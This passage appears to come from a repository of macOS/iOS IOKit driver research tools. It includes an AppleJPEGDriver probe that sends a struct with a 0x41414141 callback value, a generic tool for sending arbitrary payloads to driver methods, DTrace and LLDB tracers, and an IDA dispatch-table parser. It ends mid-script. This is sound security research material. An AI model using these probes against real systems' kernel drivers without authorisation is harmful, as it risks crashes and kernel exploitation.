* Input structure for the AppleJPEGDriver
* This structure defines the parameters needed for JPEG processing operations
*
* @note Structure must be exactly 88 bytes (0x58) in size
* @note Fields marked as reserved should not be modified
*/
struct AppleJPEGDriverIOStruct {
uint32_t src_surface; // Source surface ID
uint32_t input_size; // Size of input data
uint32_t dst_surface; // Destination surface ID
uint32_t output_size; // Size of output buffer
uint32_t reserved1[2]; // Reserved fields (previously input/output length)
uint32_t pixelX; // X dimension in pixels
uint32_t pixelY; // Y dimension in pixels
uint32_t reserved2; // Reserved field
uint32_t xOffset; // X offset for processing
uint32_t yOffset; // Y offset for processing
uint32_t subsampling; // Subsampling mode (must be 0-4)
uint32_t callback; // Callback address
uint32_t reserved3[3]; // Reserved fields
uint32_t value100; // Value set to 100
uint32_t reserved4[2]; // Reserved fields
uint32_t decodeWidth; // Width for decoding
uint32_t decodeHeight; // Height for decoding
uint32_t reserved5; // Reserved field
} __attribute__((packed));
int main() {
// Create source and destination surfaces
uint32_t src = create_surface();
uint32_t dst = create_surface();
// Connect to the AppleJPEGDriver
io_connect_t conn;
io_service_t service = IOServiceGetMatchingService(kIOMainPortDefault,
IOServiceMatching("AppleJPEGDriver"));
if (!service) {
printf("Driver not found\n");
return 1;
}
// Open a connection to the driver
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 1, &conn);
if (kr != KERN_SUCCESS) {
printf("Open failed: %x\n", kr);
return 1;
}
// Initialize driver input structure
struct AppleJPEGDriverIOStruct input = {};
memset(&input, 0, sizeof(input));
// Configure input parameters
input.src_surface = src;
input.input_size = 2000;
input.dst_surface = dst;
input.output_size = 0x1000;
input.pixelX = 100;
input.pixelY = 3;
input.xOffset = 0xd;
input.yOffset = 0xff;
input.subsampling = 0;
input.callback = 0x41414141;
input.value100 = 100;
input.decodeWidth = 5;
input.decodeHeight = 10;
// Verify structure size and print configuration
printf("Structure size: %zu (should be 88)\n", sizeof(input));
printf("Surface IDs: src=0x%x dst=0x%x\n", src, dst);
printf("Input params:\n"
" sizes: %u/%u\n"
" pixels: %u/%u\n"
" decode: %u/%u\n"
" offset: %u/%u\n",
input.input_size, input.output_size,
input.pixelX, input.pixelY,
input.decodeWidth, input.decodeHeight,
input.xOffset, input.yOffset);
// Prepare output buffer and call driver
char output[88] = {0};
size_t output_size = sizeof(output);
// Call IOKit method #1 on the connection, passing input/output buffers
// kr: stores kernel return code (KERN_SUCCESS = 0 on success)
// conn: connection to IOKit driver/service
// 1: selector/method number to call
// &input: pointer to input structure
// sizeof(input): size of input buffer in bytes
// output: buffer to receive output data
// &output_size: pointer to size of output buffer (updated with actual bytes written)
kr = IOConnectCallStructMethod(conn, 1, &input, sizeof(input), output, &output_size);
// Print result and clean up
printf("Result: 0x%x (%s)\n", kr, mach_error_string(kr));
IOServiceClose(conn);
IOObjectRelease(service);
return 0;
}

View File

@@ -0,0 +1,31 @@
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <paths.h>
#include <sys/disk.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s /dev/diskX\n", argv[0]);
return 1;
}
// Open the disk device
int fd = open(argv[1], O_RDWR);
if (fd < 0) {
perror("Failed to open disk device");
return 1;
}
// Attempt to eject the disk using ioctl
if (ioctl(fd, DKIOCEJECT, NULL) < 0) {
perror("Failed to eject disk");
close(fd);
return 1;
}
close(fd);
printf("Disk ejected successfully\n");
return 0;
}

View File

@@ -0,0 +1,302 @@
/**
* @file IOVerify.c
* @brief Standalone tool for IOKit driver communication verification.
* clang IOVerify.c -o IOVerify -framework IOKit
*
* This tool allows for direct interaction with macOS IOKit drivers using IOConnectCallMethod.
*
* Usage:
* IOVerify -n <name> (-m <method> | -y <spec>) [options]
*
* Options:
* -n <name> : The class name of the IOKit service to target (required).
* -t <type> : The connection type (user client type) to open. Default: 0.
* -m <id> : The selector ID of the method to call.
* -y <spec> : Shorthand to specify method and buffer sizes.
* Format: "ID:[IN_SCA,IN_STR,OUT_SCA,OUT_STR]"
* Example: -y "0: [0, 96, 0, 96]"
* -p <payload> : A string to be used as the input buffer.
* -f <file_name> : A file whose contents will be the input buffer.
* -b <hex_string>: A space-separated hex string for the input buffer (e.g., "00 11 22 aa").
* -i <size> : The size of the input structure buffer.
* -o <size> : The size of the output structure buffer.
* -s <val> : A 64-bit scalar input value (can be used multiple times).
* -S <count> : The number of scalar output values.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <unistd.h> // For getopt
#include <stdbool.h> // For bool type
#include <IOKit/IOKitLib.h>
#include <mach/mach_error.h> // For mach_error_string
// --- Structure Definitions ---
// IOKit has a hard limit of 16 scalar inputs/outputs maximum
#define IOKIT_MAX_SCALAR_COUNT 16
uint64_t scalar_inputs[IOKIT_MAX_SCALAR_COUNT] = {0};
typedef struct {
const char* driver_name;
uint64_t conn_type;
uint64_t method;
const char* payload;
const char* file_name;
uint64_t input_size;
uint64_t output_size;
uint64_t* scalar_input;
size_t scalar_in_size;
size_t scalar_out_size;
const char* byte_payload;
} verify_args_t;
// --- Forward Declarations ---
io_service_t find_driver_service(const char* driver_name);
io_connect_t get_driver_connection_handle(io_service_t service, const char* driver_name, uint32_t conn_type);
kern_return_t verify_driver_communication(const verify_args_t* args);
void print_usage(const char* prog_name);
// --- Implementations ---
void log_with_args(const char* format, ...) {
va_list args;
va_start(args, format);
vprintf(format, args);
va_end(args);
printf("\n");
}
void print_payload_hexdump(const unsigned char *data, size_t size) {
if (!data || size == 0) {
printf("[empty]\n");
return;
}
for (size_t i = 0; i < size; ++i) {
printf("%02x ", data[i]);
if ((i + 1) % 16 == 0) printf("\n");
}
if (size % 16 != 0) printf("\n");
}
void log_event_with_scalars(const char* event, const verify_args_t* args, kern_return_t result, const void* output_buffer, size_t output_size, const uint64_t* scalar_output, size_t scalar_out_size_actual, const void* input_buffer, size_t input_size) {
printf("\n--- [%s] Event Log ---\n", event);
printf("Driver: %s\n", args->driver_name);
printf("Connection Type: %llu\n", args->conn_type);
printf("Method Selector: %llu\n", args->method);
printf("Result: 0x%x (%s)\n", result, mach_error_string(result));
printf("\n--- Scalar I/O ---\n");
printf("Scalar In Cnt: %zu\n", args->scalar_in_size);
if (args->scalar_in_size > 0 && args->scalar_input) {
printf("Scalar In: ");
for (size_t i = 0; i < args->scalar_in_size; ++i) printf("0x%llx ", args->scalar_input[i]);
printf("\n");
}
printf("Scalar Out Cnt: %zu\n", scalar_out_size_actual);
if (scalar_out_size_actual > 0 && scalar_output) {
printf("Scalar Out: ");
for (size_t i = 0; i < scalar_out_size_actual; ++i) printf("0x%llx ", scalar_output[i]);
printf("\n");
}
printf("\n--- Structure I/O ---\n");
printf("Input Size: %zu bytes\n", input_size);
printf("Input Data:\n");
print_payload_hexdump(input_buffer, input_size);
printf("\nOutput Size: %zu bytes\n", output_size);
printf("Output Data:\n");
print_payload_hexdump(output_buffer, output_size);
printf("--- End of Log ---\n\n");
}
io_service_t find_driver_service(const char* driver_name) {
return IOServiceGetMatchingService(kIOMainPortDefault, IOServiceMatching(driver_name));
}
io_connect_t get_driver_connection_handle(io_service_t service, const char* driver_name, uint32_t conn_type) {
io_connect_t client = MACH_PORT_NULL;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), conn_type, &client);
if (kr != KERN_SUCCESS) {
log_with_args("Failed to open connection for driver '%s' (type %u). Error: 0x%x (%s)", driver_name, conn_type, kr, mach_error_string(kr));
return MACH_PORT_NULL;
}
return client;
}
kern_return_t verify_driver_communication(const verify_args_t* args) {
if (!args || !args->driver_name) {
return KERN_INVALID_ARGUMENT;
}
const io_service_t driver_service = find_driver_service(args->driver_name);
if (driver_service == MACH_PORT_NULL) {
log_with_args("Driver service '%s' not found.", args->driver_name);
return KERN_FAILURE;
}
const io_connect_t client = get_driver_connection_handle(driver_service, args->driver_name, args->conn_type);
if (client == MACH_PORT_NULL) {
IOObjectRelease(driver_service);
return KERN_FAILURE;
}
void* input_buffer = NULL;
size_t input_size = args->input_size;
if (args->file_name) {
FILE* file = fopen(args->file_name, "rb");
if (file) {
fseek(file, 0, SEEK_END);
input_size = ftell(file);
fseek(file, 0, SEEK_SET);
input_buffer = calloc(1, input_size);
if (input_buffer) fread(input_buffer, 1, input_size, file);
fclose(file);
}
} else if (args->byte_payload) {
char* bp_copy = strdup(args->byte_payload);
char* p = bp_copy;
size_t count = 0;
while (*p) {
if (*p != ' ' && (p == bp_copy || *(p-1) == ' ')) count++;
p++;
}
input_size = count;
input_buffer = calloc(1, input_size);
p = bp_copy;
size_t idx = 0;
while(idx < input_size) {
char* next;
((unsigned char*)input_buffer)[idx++] = (unsigned char)strtol(p, &next, 16);
p = next;
while(*p == ' ') p++;
}
free(bp_copy);
} else if (args->payload) {
input_size = strlen(args->payload);
input_buffer = calloc(1, input_size + 1);
if (input_buffer) memcpy(input_buffer, args->payload, input_size);
} else if (input_size > 0) {
input_buffer = calloc(1, input_size);
}
size_t scalar_output_count = args->scalar_out_size;
uint64_t* scalar_output = (scalar_output_count > 0) ? calloc(scalar_output_count, sizeof(uint64_t)) : NULL;
size_t output_size = args->output_size;
void* output_buffer = (output_size > 0) ? calloc(1, output_size) : NULL;
uint32_t scalar_output_count_32 = scalar_output_count;
kern_return_t result = IOConnectCallMethod(client, args->method, args->scalar_input, args->scalar_in_size, input_buffer, input_size, scalar_output, &scalar_output_count_32, output_buffer, &output_size);
log_event_with_scalars("VERIFY", args, result, output_buffer, output_size, scalar_output, scalar_output_count_32, input_buffer, input_size);
free(input_buffer);
free(output_buffer);
free(scalar_output);
IOServiceClose(client);
IOObjectRelease(driver_service);
return result;
}
void print_usage(const char* prog_name) {
printf("Usage: %s -n <name> (-m <method> | -y <spec>) [options]\n", prog_name);
printf("Options:\n");
printf(" -n <name> Target driver class name (required).\n");
printf(" -t <type> Connection type (default: 0).\n");
printf(" -m <id> Method selector ID.\n");
printf(" -y <spec> Specify method and buffer sizes in one string.\n");
printf(" Format: \"ID: [IN_SCA, IN_STR, OUT_SCA, OUT_STR]\"\n");
printf(" Example: -y \"0: [0, 96, 0, 96]\"\n");
printf(" -p <string> Payload as a string.\n");
printf(" -f <file> File path for payload.\n");
printf(" -b <hex_str> Space-separated hex string payload.\n");
printf(" -i <size> Input buffer size (ignored if -y is used).\n");
printf(" -o <size> Output buffer size (ignored if -y is used).\n");
printf(" -s <value> Scalar input (uint64_t). Can be specified multiple times.\n");
printf(" -S <count> Scalar output count (ignored if -y is used).\n");
printf(" -h Show this help message.\n");
}
int main(int argc, char *argv[]) {
verify_args_t args = {0};
int opt;
uint64_t scalar_inputs[16] = {0};
size_t scalar_input_idx = 0;
bool method_is_set = false;
bool y_flag_used = false;
while ((opt = getopt(argc, argv, "hn:t:m:p:f:b:i:o:s:S:y:")) != -1) {
switch (opt) {
case 'h': print_usage(argv[0]); return 0;
case 'n': args.driver_name = optarg; break;
case 't': args.conn_type = strtoull(optarg, NULL, 0); break;
case 'm': args.method = strtoull(optarg, NULL, 0); method_is_set = true; break;
case 'y': {
y_flag_used = true;
unsigned long long m, si, is, so, os;
int items = sscanf(optarg, "%llu : [ %llu , %llu , %llu , %llu ]", &m, &si, &is, &so, &os);
if (items == 5) { // Adding Scalar In/Out count checks - can't be more than 16
if (si > IOKIT_MAX_SCALAR_COUNT) {
fprintf(stderr, "Error: Scalar input count %llu exceeds IOKit maximum of %d.\n", si, IOKIT_MAX_SCALAR_COUNT);
return 1;
}
if (so > IOKIT_MAX_SCALAR_COUNT) {
fprintf(stderr, "Error: Scalar output count %llu exceeds IOKit maximum of %d.\n", so, IOKIT_MAX_SCALAR_COUNT);
return 1;
}
args.method = m;
args.scalar_in_size = si;
args.input_size = is;
args.scalar_out_size = so;
args.output_size = os;
method_is_set = true;
} else {
fprintf(stderr, "Error: Invalid format for -y. Use 'ID: [sc_in, st_in, sc_out, st_out]'.\n");
return 1;
}
break;
}
case 'p': args.payload = optarg; break;
case 'f': args.file_name = optarg; break;
case 'b': args.byte_payload = optarg; break;
case 'i': if (!y_flag_used) args.input_size = strtoull(optarg, NULL, 0); break;
case 'o': if (!y_flag_used) args.output_size = strtoull(optarg, NULL, 0); break;
case 's': // Adding Scalar In count checks - can't be more than 16
if (scalar_input_idx < IOKIT_MAX_SCALAR_COUNT) {
scalar_inputs[scalar_input_idx++] = strtoull(optarg, NULL, 0);
} else {
fprintf(stderr, "Exceeded IOKit maximum of %d scalar inputs.\n", IOKIT_MAX_SCALAR_COUNT);
}
break;
case 'S': if (!y_flag_used) args.scalar_out_size = strtoull(optarg, NULL, 0); break;
default: print_usage(argv[0]); return 1;
}
}
if (!args.driver_name || !method_is_set) {
fprintf(stderr, "Error: Driver name (-n) and method ID (-m or -y) are required.\n");
print_usage(argv[0]);
return 1;
}
if (y_flag_used) {
if (scalar_input_idx > args.scalar_in_size) {
fprintf(stderr, "Warning: More scalars via -s (%zu) than in -y (%zu). Extra values ignored.\n", scalar_input_idx, args.scalar_in_size);
} else if (scalar_input_idx < args.scalar_in_size) {
fprintf(stderr, "Warning: Fewer scalars via -s (%zu) than in -y (%zu). Remaining values zeroed.\n", scalar_input_idx, args.scalar_in_size);
}
} else {
args.scalar_in_size = scalar_input_idx;
}
args.scalar_input = scalar_inputs;
printf("Starting verification for driver: %s\n", args.driver_name);
verify_driver_communication(&args);
return 0;
}

View File

@@ -0,0 +1,149 @@
#!/usr/bin/env python3
"""
dtrace_NewUserClient.py
A script to trace all kernel newUserClient calls using DTrace on macOS.
Prints the PID, full executable path, demangled kernel function name, and user call stack for each event.
Requirements:
- Must be run as root (sudo).
- System Integrity Protection (SIP) must be disabled for DTrace to work on macOS.
- Tested on macOS with DTrace and c++filt available.
Usage:
1. Make the script executable:
chmod +x dtrace_NewUserClient.py
2. Run with sudo:
sudo ./dtrace_NewUserClient.py
3. Press CTRL+C to stop tracing gracefully.
Output:
For each newUserClient call, prints:
- PID
- Executable path
- Demangled kernel function name
- User call stack
Graceful termination is handled via signal (SIGINT/SIGTERM).
"""
import subprocess
import sys
import signal
import os
import threading
def main():
"""
Runs dtrace to find newUserClient calls, captures the user stack,
and formats the output to include PID, full path, the demangled
kernel function name, and the call stack. Includes a robust signal
handler for graceful termination.
"""
if os.getuid() != 0:
print("This script requires root privileges. Please run with sudo.", file=sys.stderr)
sys.exit(1)
dtrace_script = (
"fbt::*NewUserClient*:entry, "
"fbt::*newUserClient*:entry"
"{"
" printf(\"DTRACE_EVENT|%d|%s|%s\\n\", pid, execname, probefunc);"
" ustack();"
" printf(\"DTRACE_END_EVENT\\n\");"
"}"
)
dtrace_command = ["sudo", "dtrace", "-x", "switchrate=10hz", "-qn", dtrace_script]
# Use preexec_fn=os.setsid to run dtrace in its own process group.
# This prevents signals sent to the script from being forwarded to dtrace,
# and vice-versa, providing better isolation.
proc = subprocess.Popen(
dtrace_command,
stdout=subprocess.PIPE,
text=True,
bufsize=1,
preexec_fn=os.setsid,
errors="replace" # <-- Add this argument to handle decode errors
)
# Use a thread-safe event to ensure the signal handler logic runs only once.
stop_event = threading.Event()
def signal_handler(sig, frame):
if stop_event.is_set():
return # Already handling signal
stop_event.set()
print("\nStopping dtrace...", file=sys.stderr)
try:
# Terminate the process group started by setsid
os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
proc.wait(timeout=5)
except (ProcessLookupError, subprocess.TimeoutExpired):
try:
proc.kill() # Force kill if terminate fails
except ProcessLookupError:
pass # Process already gone
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
signal.signal(signal.SIGTERM, signal_handler)
try:
output_iterator = iter(proc.stdout.readline, '')
for line in output_iterator:
# Exit loop if the signal handler has been triggered
if stop_event.is_set():
break
if not line.startswith("DTRACE_EVENT|"):
continue
parts = line.split('|', 3)
if len(parts) != 4:
continue
_, pid_str, execname, func_raw = parts
stack_trace = []
for stack_line in output_iterator:
if stop_event.is_set(): break
stack_line = stack_line.strip()
if stack_line == "DTRACE_END_EVENT": break
stack_trace.append(stack_line)
if stop_event.is_set(): break
path = f"{execname} (process terminated before path lookup)"
if pid_str.isdigit():
ps_proc = subprocess.run(
["/bin/ps", "-p", pid_str, "-o", "command="],
capture_output=True, text=True, check=False
)
if ps_proc.stdout.strip():
path = ps_proc.stdout.strip()
func_clean = func_raw.split(':')[0]
symbol_to_demangle = "_" + func_clean
demangled_proc = subprocess.run(
["/usr/bin/c++filt"],
input=symbol_to_demangle, capture_output=True, text=True, check=False
)
demangled_func = demangled_proc.stdout.strip()
print(f"\nPID: {pid_str}")
print(f"Path: {path}")
print(f"Function: {demangled_func}")
print("--- Call Stack---")
for stack_line in stack_trace:
print(stack_line)
print("-" * 40)
sys.stdout.flush()
finally:
if proc.poll() is None and not stop_event.is_set():
os.killpg(os.getpgid(proc.pid), signal.SIGKILL)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,153 @@
#!/usr/bin/env python3
"""
dtrace_externalMethod.py
A script to trace kernel functions related to IOConnectCallMethod using DTrace.
Prints the PID, full executable path, demangled kernel function name, and user
call stack for each event.
Requirements:
- Must be run as root (sudo).
- System Integrity Protection (SIP) may need to be disabled for full
DTrace functionality on macOS.
Usage:
1. Make the script executable:
chmod +x dtrace_externalMethod.py
2. Run with sudo:
sudo ./dtrace_externalMethod.py
3. Press CTRL+C to stop tracing gracefully.
Output:
For each relevant kernel call, prints:
- PID
- Executable path
- Demangled kernel function name
- User call stack
Graceful termination is handled via signal (SIGINT/SIGTERM).
"""
import subprocess
import sys
import signal
import os
import threading
def main():
"""
Runs dtrace to find IOConnectCallMethod related calls, captures the user stack,
and formats the output to include PID, full path, the demangled
kernel function name, and the call stack. Includes a robust signal
handler for graceful termination.
"""
if os.getuid() != 0:
print("This script requires root privileges. Please run with sudo.", file=sys.stderr)
sys.exit(1)
# DTrace script to trace kernel functions that are part of the
# IOConnectCallMethod call chain.
dtrace_script = (
"fbt::*getTargetAndMethodForIndex*:entry, "
"fbt::*externalMethod*:entry, "
"fbt::*ExternalMethod*:entry"
"{"
" printf(\"DTRACE_EVENT|%d|%s|%s\\n\", pid, execname, probefunc);"
" ustack();"
" printf(\"DTRACE_END_EVENT\\n\");"
"}"
)
dtrace_command = ["sudo", "dtrace", "-x", "switchrate=10hz", "-qn", dtrace_script]
# Use preexec_fn=os.setsid to run dtrace in its own process group.
# This prevents signals sent to the script from being forwarded to dtrace,
# and vice-versa, providing better isolation.
proc = subprocess.Popen(
dtrace_command,
stdout=subprocess.PIPE,
text=True,
bufsize=1,
preexec_fn=os.setsid,
errors="replace" # Handle decode errors gracefully
)
# Use a thread-safe event to ensure the signal handler logic runs only once.
stop_event = threading.Event()
def signal_handler(sig, frame):
if stop_event.is_set():
return # Already handling signal
stop_event.set()
print("\nStopping dtrace...", file=sys.stderr)
try:
# Terminate the process group started by setsid
os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
proc.wait(timeout=5)
except (ProcessLookupError, subprocess.TimeoutExpired):
try:
proc.kill() # Force kill if terminate fails
except ProcessLookupError:
pass # Process already gone
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
signal.signal(signal.SIGTERM, signal_handler)
try:
output_iterator = iter(proc.stdout.readline, '')
for line in output_iterator:
# Exit loop if the signal handler has been triggered
if stop_event.is_set():
break
if not line.startswith("DTRACE_EVENT|"):
continue
parts = line.split('|', 3)
if len(parts) != 4:
continue
_, pid_str, execname, func_raw = parts
stack_trace = []
for stack_line in output_iterator:
if stop_event.is_set(): break
stack_line = stack_line.strip()
if stack_line == "DTRACE_END_EVENT": break
stack_trace.append(stack_line)
if stop_event.is_set(): break
path = f"{execname} (process terminated before path lookup)"
if pid_str.isdigit():
ps_proc = subprocess.run(
["/bin/ps", "-p", pid_str, "-o", "command="],
capture_output=True, text=True, check=False
)
if ps_proc.stdout.strip():
path = ps_proc.stdout.strip()
func_clean = func_raw.split(':')[0]
symbol_to_demangle = "_" + func_clean
demangled_proc = subprocess.run(
["/usr/bin/c++filt"],
input=symbol_to_demangle, capture_output=True, text=True, check=False
)
demangled_func = demangled_proc.stdout.strip() if demangled_proc.returncode == 0 else func_clean
print(f"\nPID: {pid_str}")
print(f"Path: {path}")
print(f"Function: {demangled_func}")
print("--- Call Stack---")
for stack_line in stack_trace:
print(stack_line)
print("-" * 40)
sys.stdout.flush()
finally:
if proc.poll() is None and not stop_event.is_set():
os.killpg(os.getpgid(proc.pid), signal.SIGKILL)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,136 @@
"""
IDA script to format and analyze IOExternalMethodDispatch structures in iOS kernelcache.
Supports both IOExternalMethodDispatch (0x18 bytes) and IOExternalMethodDispatch2022 (0x28 bytes) formats.
Usage in IDA Python console:
format_external_method_array(0xFFFFFE0007DCDBD8, 16, 1) # For old format
format_external_method_array(0xFFFFFE0007DCDBD8, 16) # For 2022 format
Structure formats:
IOExternalMethodDispatch (0x18):
0x00 - function (ptr)
0x08 - checkScalarInputCount
0x0C - checkStructureInputSize
0x10 - checkScalarOutputCount
0x14 - checkStructureOutputSize
IOExternalMethodDispatch2022 (0x28):
[all fields from IOExternalMethodDispatch]
0x18 - allowAsync
0x20 - checkEntitlement (ptr)
"""
from idaapi import *
import ida_bytes
import idc
import ida_name
def create_external_method_dispatch_struct(struct_type=0):
"""
Creates IDA structure for IOExternalMethodDispatch.
Args:
struct_type: 0 for IOExternalMethodDispatch2022 (0x28 bytes)
1 for IOExternalMethodDispatch (0x18 bytes)
Returns:
Structure ID or -1 on failure
"""
struct_name = f"IOExternalMethodDispatch{2022 if struct_type == 0 else ''}"
sid = idc.get_struc_id(struct_name)
if sid != -1:
return sid
sid = idc.add_struc(-1, struct_name, 0)
if sid == -1:
print("Failed to create structure")
return -1
# Common fields for both types
idc.add_struc_member(sid, "function", 0, ida_bytes.qword_flag(), -1, 8)
idc.add_struc_member(sid, "checkScalarInputCount", 8, ida_bytes.dword_flag(), -1, 4)
idc.add_struc_member(sid, "checkStructureInputSize", 0xC, ida_bytes.dword_flag(), -1, 4)
idc.add_struc_member(sid, "checkScalarOutputCount", 0x10, ida_bytes.dword_flag(), -1, 4)
idc.add_struc_member(sid, "checkStructureOutputSize", 0x14, ida_bytes.dword_flag(), -1, 4)
if struct_type == 0:
# Type 0 (2022) specific fields
idc.add_struc_member(sid, "allowAsync", 0x18, ida_bytes.byte_flag(), -1, 1)
# Align to pointer size for checkEntitlement
idc.add_struc_member(sid, "checkEntitlement", 0x20, ida_bytes.qword_flag(), -1, 8)
return sid
def format_external_method_array(start_addr, count, struct_type=0):
"""
Formats and analyzes an array of IOExternalMethodDispatch structures.
Args:
start_addr: Start address of the methods array
count: Number of entries to process
struct_type: 0 for IOExternalMethodDispatch2022 (default)
1 for IOExternalMethodDispatch
"""
sid = create_external_method_dispatch_struct(struct_type)
if sid == -1:
return
struct_size = 0x28 if struct_type == 0 else 0x18
for i in range(count):
current_addr = start_addr + (i * struct_size)
# Create structure instance
idc.create_struct(current_addr, struct_size, f"IOExternalMethodDispatch{2022 if struct_type == 0 else ''}")
# Get function pointer and try to get its name
func_ptr = idc.get_qword(current_addr)
if func_ptr != 0:
func_name = ida_name.get_name(func_ptr)
if func_name:
print(f"Entry {i}: Function = {func_name}")
else:
print(f"Entry {i}: Function = 0x{func_ptr:x}")
# Get common fields
scalar_input = idc.get_wide_dword(current_addr + 8)
struct_input = idc.get_wide_dword(current_addr + 0xC)
scalar_output = idc.get_wide_dword(current_addr + 0x10)
struct_output = idc.get_wide_dword(current_addr + 0x14)
print(f" ScalarInput: {scalar_input}")
print(f" StructInput: {struct_input}")
print(f" ScalarOutput: {scalar_output}")
print(f" StructOutput: {struct_output}")
if struct_type == 0:
# Type 0 (2022) specific fields
allow_async = idc.get_wide_byte(current_addr + 0x18)
entitlement = idc.get_qword(current_addr + 0x20)
print(f" AllowAsync: {allow_async}")
if entitlement != 0:
ent_str = idc.get_strlit_contents(entitlement, -1, STRTYPE_C)
if ent_str:
print(f" Entitlement: {ent_str.decode('utf-8')}")
print("")
def main():
if len(idc.ARGV) < 3:
print("Usage: format_externalmethods.py <start_address> <count> [type]")
print("In IDA: format_external_method_array(0xFFFFFE0007DCDBD8, 16, 1)")
print("Type: 0 = IOExternalMethodDispatch2022 (0x28 bytes)")
print(" 1 = IOExternalMethodDispatch (0x18 bytes)")
return
start_addr = int(idc.ARGV[1], 16)
count = int(idc.ARGV[2])
struct_type = int(idc.ARGV[3]) if len(idc.ARGV) > 3 else 0
format_external_method_array(start_addr, count, struct_type)
if __name__ == '__main__':
main()
# format_external_method_array(0xFFFFFE0007F647A0, 10)
# format_external_method_array(0xFFFFFE0007DCDBD8, 15, 1)

View File

@@ -0,0 +1,52 @@
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
struct ifreq ifr;
int sockfd;
// Check if interface name was provided
if (argc != 2) {
printf("Usage: %s <interface>\n", argv[0]);
printf("Example: %s en0\n", argv[0]);
return 1;
}
// Create a UDP socket for interface communication
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("socket");
return 1;
}
// Clear the structure and copy interface name
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, argv[1], IFNAMSIZ-1);
// Get the interface flags
if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) < 0) {
perror("ioctl");
close(sockfd);
return 1;
}
// Print interface status
printf("Interface %s status:\n", argv[1]);
printf("UP: %s\n", (ifr.ifr_flags & IFF_UP) ? "yes" : "no");
printf("RUNNING: %s\n", (ifr.ifr_flags & IFF_RUNNING) ? "yes" : "no");
printf("LOOPBACK: %s\n", (ifr.ifr_flags & IFF_LOOPBACK) ? "yes" : "no");
printf("POINTOPOINT: %s\n", (ifr.ifr_flags & IFF_POINTOPOINT) ? "yes" : "no");
printf("MULTICAST: %s\n", (ifr.ifr_flags & IFF_MULTICAST) ? "yes" : "no");
printf("BROADCAST: %s\n", (ifr.ifr_flags & IFF_BROADCAST) ? "yes" : "no");
printf("PROMISC: %s\n", (ifr.ifr_flags & IFF_PROMISC) ? "yes" : "no");
close(sockfd);
return 0;
}

View File

@@ -0,0 +1,140 @@
#!/usr/bin/env python
import lldb
import shlex
def hexdump(process, address, count):
"""
Generates a formatted hexdump of a memory region.
"""
err = lldb.SBError()
data = process.ReadMemory(address, count, err)
if not err.Success():
return "error reading memory"
lines = []
for i in range(0, len(data), 16):
chunk = data[i:i+16]
left = " ".join(f"{b:02x}" for b in chunk[0:8])
right = " ".join(f"{b:02x}" for b in chunk[8:]) if len(chunk) > 8 else ""
hex_str = left + (" " + right if right else "")
ascii_str = "".join(chr(b) if 32 <= b < 127 else "." for b in chunk)
lines.append(f"{address + i:08x} {hex_str:<48s} |{ascii_str:<16s}|")
return "\n".join(lines)
def format_row(typ, name, value):
"""
Formats a single row for the argument summary table.
"""
return f"{typ:<26}{name:<40}{value:>20}"
def iokit_dump(debugger, command, result, internal_dict):
"""
Main function for the 'iokit_dump' LLDB command.
"""
# --- Argument Parsing ---
try:
args = shlex.split(command)
dump_filename = args[0] if args else None
except Exception as e:
result.PutCString(f"Error parsing arguments: {e}")
result.SetStatus(1) # Use 1 for lldb.eReturnStatusFailed
return
# --- LLDB Object Setup with validation ---
target = debugger.GetSelectedTarget()
if not target or not target.IsValid():
result.PutCString("Error: No valid target selected.")
result.SetStatus(1) # Use 1 for lldb.eReturnStatusFailed
return
process = target.GetProcess()
if not process or not process.IsValid():
result.PutCString("Error: No valid process running.")
result.SetStatus(1) # Use 1 for lldb.eReturnStatusFailed
return
thread = process.GetSelectedThread()
if not thread or not thread.IsValid():
result.PutCString("Error: No valid thread selected.")
result.SetStatus(1) # Use 1 for lldb.eReturnStatusFailed
return
frame = thread.GetFrameAtIndex(0)
if not frame or not frame.IsValid():
result.PutCString("Error: Could not get the current stack frame.")
result.SetStatus(1) # Use 1 for lldb.eReturnStatusFailed
return
# --- Read Registers for inputStruct ---
inputStruct_ptr = frame.FindRegister("x4").GetValueAsUnsigned()
inputStructCnt = frame.FindRegister("x5").GetValueAsUnsigned()
# --- New: Dump inputStruct to a file ---
if dump_filename:
if not inputStruct_ptr or inputStructCnt == 0:
result.PutCString("No inputStruct data to dump (pointer is null or size is zero).")
result.SetStatus(0) # Use 0 for lldb.eReturnStatusSuccess
return
err = lldb.SBError()
data = process.ReadMemory(inputStruct_ptr, inputStructCnt, err)
if not err.Success():
result.PutCString(f"Error reading memory for inputStruct at {hex(inputStruct_ptr)}: {err}")
result.SetStatus(1) # Use 1 for lldb.eReturnStatusFailed
return
try:
with open(dump_filename, 'wb') as f:
f.write(data)
result.PutCString(f"Successfully dumped {inputStructCnt} bytes of inputStruct to '{dump_filename}'")
result.SetStatus(0) # Use 0 for lldb.eReturnStatusSuccess
except IOError as e:
result.PutCString(f"Error writing to file '{dump_filename}': {e}")
result.SetStatus(1) # Use 1 for lldb.eReturnStatusFailed
return
# --- Original: Print formatted argument summary ---
# Read remaining registers
connection = frame.FindRegister("x0").GetValueAsUnsigned()
selector = frame.FindRegister("x1").GetValueAsUnsigned()
input_ptr = frame.FindRegister("x2").GetValueAsUnsigned()
inputCnt = frame.FindRegister("x3").GetValueAsUnsigned()
output_ptr = frame.FindRegister("x6").GetValueAsUnsigned()
outputCnt_ptr = frame.FindRegister("x7").GetValueAsUnsigned()
outputStruct_ptr = frame.FindRegister("x8").GetValueAsUnsigned()
outputStructCnt_ptr = frame.FindRegister("x9").GetValueAsUnsigned()
lines = ["kern_return_t IOConnectCallMethod", "-------------------------------------"]
rows = [
